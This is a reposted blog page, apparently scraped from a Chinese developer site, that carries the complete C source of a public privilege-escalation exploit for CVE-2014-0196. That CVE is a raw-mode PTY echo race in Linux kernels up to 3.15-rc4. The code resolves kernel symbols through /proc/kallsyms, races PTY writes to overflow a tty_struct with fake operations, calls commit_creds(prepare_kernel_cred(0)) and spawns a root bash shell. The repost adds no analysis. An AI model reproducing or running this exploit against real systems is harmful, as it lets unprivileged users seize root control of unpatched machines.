zoukankan      html  css  js  c++  java
  • CVE-2014-0196(马拉松赛跑bug)

    /*
     * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
     * condition
     *
     * Slightly-less-than-POC privilege escalation exploit
     * For kernels >= v3.14-rc1
     *
     * Matthew Daley <mattd@bugfuzz.com>
     *
     * Usage: 
     *   $ gcc cve-2014-0196-md.c -lutil -lpthread
     *   $ ./a.out
     *   [+] Resolving symbols
     *   [+] Resolved commit_creds: 0xffffffff81056694
     *   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
     *   [+] Doing once-off allocations
     *   [+] Attempting to overflow into a tty_struct...............
     *   [+] Got it :)
     *   # id
     *   uid=0(root) gid=0(root) groups=0(root)
     *
     * WARNING: The overflow placement is still less-than-ideal; there is a 1/4
     * chance that the overflow will go off the end of a slab. This does not
     * necessarily lead to an immediate kernel crash, but you should be prepared
     * for the worst (i.e. kernel oopsing in a bad state). In theory this would be
     * avoidable by reading /proc/slabinfo on systems where it is still available
     * to unprivileged users.
     *
     * Caveat: The vulnerability should be exploitable all the way from
     * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
     * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
     * GFP_ATOMIC memory consumption") that make exploitation simpler, which this
     * exploit relies on.
     *
     * Thanks to Jon Oberheide for his help on exploitation technique.
     */
    
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <fcntl.h>
    #include <pthread.h>
    #include <pty.h>
    #include <stdio.h>
    #include <string.h>
    #include <termios.h>
    #include <unistd.h>
    
    #define TTY_MAGIC 0x5401
    
    #define ONEOFF_ALLOCS 200
    #define RUN_ALLOCS    30
    
    struct device;
    struct tty_driver;
    struct tty_operations;
    
    typedef struct {
    	int counter;
    } atomic_t;
    
    struct kref {
    	atomic_t refcount;
    };
    
    struct tty_struct_header {
    	int	magic;
    	struct kref kref;
    	struct device *dev;
    	struct tty_driver *driver;
    	const struct tty_operations *ops;
    } overwrite;
    
    typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);
    
    int master_fd, slave_fd;
    char buf[1024] = {0};
    commit_creds_fn commit_creds;
    prepare_kernel_cred_fn prepare_kernel_cred;
    
    int payload(void) {
    	commit_creds(prepare_kernel_cred(0));
    
    	return 0;
    }
    
    unsigned long get_symbol(char *target_name) {
    	FILE *f;
    	unsigned long addr;
    	char dummy;
    	char name[256];
    	int ret = 0;
    
    	f = fopen("/proc/kallsyms", "r");
    	if (f == NULL)
    		return 0;
    
    	while (ret != EOF) {
    		ret = fscanf(f, "%p %c %s
    ", (void **)&addr, &dummy, name);
    		if (ret == 0) {
    			fscanf(f, "%s
    ", name);
    			continue;
    		}
    
    		if (!strcmp(name, target_name)) {
    			printf("[+] Resolved %s: %p
    ", target_name, (void *)addr);
    
    			fclose(f);
    			return addr;
    		}
    	}
    
    	printf("[-] Couldn't resolve "%s"
    ", name);
    
    	fclose(f);
    	return 0;
    }
    
    void *overwrite_thread_fn(void *p) {
    	write(slave_fd, buf, 511);
    
    	write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
    	write(slave_fd, &overwrite, sizeof(overwrite));
    }
    
    int main() {
    	char scratch[1024] = {0};
    	void *tty_operations[64];
    	int i, temp_fd_1, temp_fd_2;
    
    	for (i = 0; i < 64; ++i)
    		tty_operations[i] = payload;
    
    	overwrite.magic                 = TTY_MAGIC;
    	overwrite.kref.refcount.counter = 0x1337;
    	overwrite.dev                   = (struct device *)scratch;
    	overwrite.driver                = (struct tty_driver *)scratch;
    	overwrite.ops                   = (struct tty_operations *)tty_operations;
    
    	puts("[+] Resolving symbols");
    
    	commit_creds = (commit_creds_fn)get_symbol("commit_creds");
    	prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
    	if (!commit_creds || !prepare_kernel_cred)
    		return 1;
    
    	puts("[+] Doing once-off allocations");
    
    	for (i = 0; i < ONEOFF_ALLOCS; ++i)
    		if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
    			puts("[-] pty creation failed");
    			return 1;
    		}
    
    	printf("[+] Attempting to overflow into a tty_struct...");
    	fflush(stdout);
    
    	for (i = 0; ; ++i) {
    		struct termios t;
    		int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
    		pthread_t overwrite_thread;
    
    		if (!(i & 0xfff)) {
    			putchar('.');
    			fflush(stdout);
    		}
    
    		if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
    			puts("
    [-] pty creation failed");
    			return 1;
    		}
    
    		for (j = 0; j < RUN_ALLOCS; ++j)
    			if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
    				puts("
    [-] pty creation failed");
    				return 1;
    			}
    
    		close(fds[RUN_ALLOCS / 2]);
    		close(fds2[RUN_ALLOCS / 2]);
    
    		write(slave_fd, buf, 1);
    
    		tcgetattr(master_fd, &t);
    		t.c_oflag &= ~OPOST;
    		t.c_lflag |= ECHO;
    		tcsetattr(master_fd, TCSANOW, &t);
    
    		if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
    			puts("
    [-] Overwrite thread creation failed");
    			return 1;
    		}
    		write(master_fd, "A", 1);
    		pthread_join(overwrite_thread, NULL);
    
    		for (j = 0; j < RUN_ALLOCS; ++j) {
    			if (j == RUN_ALLOCS / 2)
    				continue;
    
    			ioctl(fds[j], 0xdeadbeef);
    			ioctl(fds2[j], 0xdeadbeef);
    
    			close(fds[j]);
    			close(fds2[j]);
    		}
    
    		ioctl(master_fd, 0xdeadbeef);
    		ioctl(slave_fd, 0xdeadbeef);
    
    		close(master_fd);
    		close(slave_fd);
    
    		if (!setresuid(0, 0, 0)) {
    			setresgid(0, 0, 0);
    
    			puts("
    [+] Got it :)");
    			execl("/bin/bash", "/bin/bash", NULL);
    		}
    	}
    }
  • 相关阅读:
    Laravel -- Excel 导入(import) (v2.1.0)
    mysql触发器
    支付宝和微信支付的坑
    php 中的引用(&)与foreach结合后的一个注意点
    oatu2.0认证原理(转)
    python3:time类
    python3练习:针对某一日期增加或减少时间、天数
    python:datetime类常用内容
    python3练习:计算日期差
    python3练习:涉及序列
  • 原文地址:https://www.cnblogs.com/zfyouxi/p/4885053.html
Copyright © 2011-2022 走看看